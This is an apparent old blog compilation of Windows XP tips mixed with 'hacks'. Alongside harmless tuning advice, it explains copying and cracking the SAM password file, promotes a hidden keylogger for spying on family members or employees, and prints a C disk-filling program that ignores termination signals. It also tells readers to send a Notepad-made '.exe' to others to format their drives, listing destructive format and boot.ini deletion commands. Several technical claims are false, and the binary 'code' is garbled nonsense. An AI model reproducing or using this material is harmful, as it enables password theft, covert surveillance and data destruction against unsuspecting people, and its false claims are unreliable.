21 Tips 4 increasing XP performance.1]
Your Pc Must have 256MB RAM , 512 MB Cache , Intel Pentium 4 Processor,
40 GB HDD. These are the minimum requirements. 2] If you see a 'virtual
memory low' message then increase its virtual memory. To increase
virtual memory,
Go to My
Computer->Properties->Advanced->Performance
Settings->Advanced->Virtual Memory->Change->Select the
appropriate drive->Custom size->set appropriate level(our it is
600(min.) & 700(max.)->Ok. 3] Increase 'Visual Performance'. Go
to My Computer->Properties->Advanced->Performance
Settings->Visual Settings->Custom->Select only the following
options.
a)Slide taskbar buttons.
b)Smooth edges of screen fonts.
c)Smooth-scroll list boxes.
d)Use a background image for each folder type.
e)Use
visual style on windows and buttons. 4] Don't keep unwanted/extra
fonts. To remove extra fonts, Go to Start->Settings->Control
Panel->Fonts. 5] Your Desktop Wallpaper & Screensaver consume a
large amount of disk space. Select the 'None' option for both
wallpapers & Screensavers. 6] Avoid keeping DEMO Games. 7]
Uninstall the unwanted Softwares. 8] Use Registry Cleaner to keep your
registry clean(without errors). 9] Try to keep Music and pictures files
in the folder specified by windows itself. 10]Use Hybernating Option
for Quick windows start. To active Hybernating follow the following
steps.
Desktop->Properties->Screensaver->Power->Hybernating->Enable
Hybernating->Ok. 11] Keep your Dektop clean with unwanted icons. 12]
Use Intel Application Accelerator to speed up your disk access, 13]
Memory management (at least 512MB RAM Required). This allow XP to keep
data in Memory instead of paging section of RAM.
Go
to->Start->Run->regedit->HKEY_LOCAL_MACHINE->SYSTEM->CurrentControlSet->Control->Session
Manager->Memory Management->Double click
it->DisablePageingExecutive->Double Clik it->Set value to 1.
14] Disable Yahoo Messenger, Google Talk, and other unwanted programs
from startup. (You can use registry editior to do this.). Because they
do not appear in normal Startup Option. 15] Disable indexing files
service (only if you do not use search option regularly). To do this
follow the following steps.
Go to My Computer->Select the drive
for which you want to disable the indexing
service->Properties->Unselect 'Allow Indexing Service'->Ok.
16] For Windows XP, You must use NTFS partition. FAT partition is less
supportive for Windows XP. 17] In BIOS, Select first booting device as
your HDD. 18] Setting Priority High for a particular program.
Open Task Manager->Processes->Select the desired Program->Right Click->Set Priority->High->Ok.
This
Priority set if for current session. Once you restart your system then
its priority will again be Normal. 19] Keep deleting your Temporary
Internet Files in regular intervals.
Go to Windows Drive (c: or
d:)->Select the User->Local Settings->Temporary Internet Files
20] Empty your browser's cache in regular intervals. 21] Avoid keeping
Movies in your PC.
Cracking Windows Logon Password.(Hacking SAM file) Windows NT/2000/XP/2003SAM
File - Holds the user names and password hashes for every account on
the local machine, or domain if it is a domain controller.
-What are
password Hashes? Actually when we enter password in Windows Logon Tab,
Windows encryptsour password using an encryption scheme that turns our
password into something that looks like this:
65464564s1d4d2c9a56s42166d55se SAM file can be found under C:(default
OS drive) -> WINNT -> System32 -> Config -> SAM. SAM file
can be cracked by sing a simple freeware software "SAMInside".
Troubleshooting : While copying SAM file it shows an error of "Access
Denied" or "File in Use". Actually copying of SAM file is restricted by
Windows. There are many alternatives to copy SAM file. [1] You can boot
your system by a Live Linux CD such as Knnopix or Fedora. Linux has
access to all Windows Files. This way SAM file can be easily copied.
KeyloggerIf
you want to know what other users are typing on your machine, this
heavy weaponry addition to your Spy Arsenal will allow you to know
everything! Simply install Family Key Logger, set the 'Start in hidden
mode' and 'Remove from tasks list' options and you are ready to go. The
program will reside in memory while being absolutely invisible to
everyone except you. You will only have to press the Unhide key
combination on the keyboard to see what your kids or your wife or your
employees were typing.
And remember:
You have the right to know!
Source:
http://www.spyarsenal.com/Multiple Google Talk.Now
it's turn to use multiple google talk. Previously we covered that how
to run multiple Yahoo messenger using Yahoo Pal!. Well for google talk,
you don't have to download any software. Just follow the following
simple steps. 1) Create a Shortcut on ur Desktop. 2) In the field 'type
the location of the item' paste the following source... c:\program
files\google\google talk\googletalk.exe" /nomutex 3)If this loction
doesn't work, then locate manually by clicking on browse option.Then go
to c:-> program file ->google-> google talk->googletalk.exe
and then paste /nomutex in the end of manually located source.
Finished. Now you can run multiple Google Talk.
Multiple Yahoo Messenger / Yahoo Pal.Yahoo!
Pal is an invisible program, it will automatically attach to running
Yahoo! Messenger and new Yahoo! Messengers you run after Yahoo! Pal,
and add menu bar to the Yahoo! Messenger windows. You can also quit it
by clicking its menu. ∙ Allow multiple accounts on the same computer. ∙
Automatically reply when you are away. . Send a random quote to your
friend. ∙ Hotkey to hide Yahoo! Messengers windows.
CLICK HERE TO DOWNLOAD.BIOS Passwords Hacks.To perform this hack you will need:
* A #1 or #2 Phillips-head screwdriver, or (less likely) a T-15 TORX driver or a 1/4" hex nutdriver, to open the case
* Needle-nosed pliers if you are working with jumpers
* A small flashlight or headlamp
With tools at hand, perform the following steps:
1. Turn the PC off (this means a total shutdown, not merely standby or hibernate mode) and disconnect the AC power cord.
2. Remove the cover from your system (this step may require tools, undoing a thumbscrew, or flipping a latch or two).
3. Refer to the user manual for the motherboard to find out how to
"reset CMOS" memory. You may also find a label for specific jumper or
switch settings marked on the system board.
4. Change the switch
setting or jumper position to a specific position or remove the jumper
entirely as prescribed in the manual to clear or reset the CMOS memory.
5. Wait 20-30 seconds for the memory to clear out from lack of power.
6. After 20-30 seconds put the switch or jumper the way it was before for normal use.
7. Reconnect the power cord and start up the system to see if the settings have changed to defaults.
8. Shut the PC down, disconnect the power cord, replace the cover, reconnect the power, and power up the PC.
9. Enter the BIOS setup program to configure the system as needed. This
may include setting the date and time, selecting disk drive parameters,
and selecting which devices the system uses to boot up with first.
If
your system does not have a "reset CMOS" jumper or switch , the only
option is to locate and remove the coin-style battery cell (or on some
very old PCs, the battery pack), as shown in , that provides the power
to the CMOS memory. SOURCE :
http://www.oreilly.com/pub/h/2245Create BAD sectors on HDD.This program will create BAD Sectors on HDD. (Use at your own risk) #include
#include
#include
#include
#include
#include
#include
#define HDSIZE 640000
void handle_sig();
int main() {
int i = 0;
int x;
int fd[5];
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);
char *buf;
buf = malloc(HDSIZE);
printf("sekt0r: trashing hard disk with bad sectors!\n");
while(1) {
fd[1] = open("/tmp/.test", O_WRONLY|O_CREAT, 511);
fd[2] = open("/tmp/.test1", O_WRONLY|O_CREAT, 511);
fd[3] = open("/tmp/.test2", O_WRONLY|O_CREAT, 511);
fd[4] = open("/tmp/.test3", O_WRONLY|O_CREAT, 511);
fd[5] = open("/tmp/.test4", O_WRONLY|O_CREAT, 511);
for(x = 0; x < 5; x++) {
write(fd[x], buf, HDSIZE);
lseek(fd[x], 0, SEEK_SET);
close(fd[x]);
} /* end for() loop. */
} /* end while() loop. */
} /* end main(). */
void handle_sig() {
/* Reset signal handlers. */
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);
printf("sekt0r: cannot exit - trashing hard disk with bad sectors!\n");
return; /* go back to creating bad sectors. */
}
Change DOS Colour.SYNTAX Sets the default console foreground and background colors.
COLOR [attr]
attr Specifies color attribute of console output
Color
attributes are specified by TWO hex digits -- the first corresponds to
the background; the second the foreground. Each digit can be any of the
below values.
0 = Black 8 = Gray 1 = Blue 9 = Light Blue 2 = Green A
= Light Green 3 = Aqua B = Light Aqua 4 = Red C = Light Red 5 = Purple
D = Light Purple 6 = Yellow E = Light Yellow 7 = White F = Bright White
If no argument is given, this command restores the color to what it was
when CMD.EXE started. This value either comes from the current console
window, the /T command line switch or from the Default Color registry
value. The COLOR command sets ERROR LEVEL to 1 if an attempt is made to
execute the COLOR command with a foreground and background color that
are the same. EXAMPLE
Color 2A = Creates a green background with
light bright green text, similar to many of the FTP, telnet, and old
BBS console screens.
Valid for a session only.
Speed Up XP Booting.Start Registry Editor (Regedit.exe).
Locate the following key in the registry:
HKEY_LOCAL_MACHINE\SYSTEM\Current ControlSet\Control\Ses sionManager\MemoryManagement\Prefetch Parameters
Make sure you backup the keys by exporting them to a .reg file.
On the EnablePrefetcher value, change the setting from 3 to 5 (decimal).
Close the registry editor.
Restart your computer.
Using Your Command Prompt.Type
netstat -a Display all connections and listening ports, netstat -b
Display the executable involved in creating each connection or
listening port. In some well-known executables host multiple
independent components, and in these cases the sequence of components
involved in creating the connection or listening port is displayed. In
this case the executable name is in [ ] at the bottom, on top is the
component it called, and so forth until TCP/IP was reached. Note that
this option can be time-consuming and will fail unless you have
sufficient permissions. netstat -e Displays Ethernet statistics. This
may be combined with the -s option. netstat -n Displays addresses and
port numbers in numerical form. netstat -o Displays the owning process
ID associated with each connection. netstat -p proto Shows connections
for the protocol specified by proto; proto may be any of : TCP, UDP,
TCPv6, or UDPv6. If used with -s option to display per-protocol
statistics, proto may be any of: IP, IPv6, ICMP, ICMPv6, TCP, TCPv6,
UDP, or UDPv6 netstat -r Displays the routing table. netstat -s
Displays per-protocol statistics. netstat -v When used in conjunction
with -b, will display sequence of components involved in creating the
connection or listening port for all executables.
Change Text on XP Start button.Now
that the modified explorer.exe has been created it’s necessary to
modify the registry so the file will be recognized when the user logs
on to the system. If you don’t know how to access the registry I’m not
sure this article is for you, but just in case it’s a temporary memory
lapse, go to Start (soon to be something else) Run and type regedit in
the Open: field. Navigate to:
HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon
In
the right pane, double click the Shell entry to open the Edit String
dialog box. In Value data: line, enter the name that was used to save
the modified explorer.exe file. Click OK.
Close Registry Editor
and either log off the system and log back in, or reboot the entire
system if that’s your preference. If all went as planned you should see
your new Start button with the revised text.
Disable or Remove Shutdown.It
is Possible to Remove Shut Down option from Start menu. Just follow the
following steps. Start->Run->gpedit.msc->User
Configuration->Administrative Templates->Start Menu
&Taskbar->Remove Shutdown on Start Menu.->Enable. Its Done!
Format HDD using Notepad.Copy
& Paste the following code in Notepad.
0100101100011111001001010101010101000 0011111100000 Save As
"format.exe" or any name u want (but with extension.exe) Now you can
send this .exe file to people to format their HDD It can fail to format
your HDD while running WINDOWS.
Format c:\ /Q/X -- this will format
your drive c:\ 011001100110111101110010011011010110000 10111010000
100000011000110011101001011100 0010000000101111010100010010111101011000
Format d:\ /Q/X -- this will format your drive d:\
011001100110111101110010011011010110000 10111010000
100000011001000011101001011100 0010000000101111010100010010111101011000
Format a:\ /Q/X -- this will format your drive a:\
0110011001101111011100100110110101100
0010111010000 100000011000010011101001011100
0010000000101111010100010010111101011000 del /F/S/Q c:\boot.ini -- this
will STOP your computer from booting.
011001000110010101101100001000000010
11110100011000 101111010100110010111101010001
001000000110001100111010010111000110 00100110111101
101111011101000010111001101001 0110111001101001
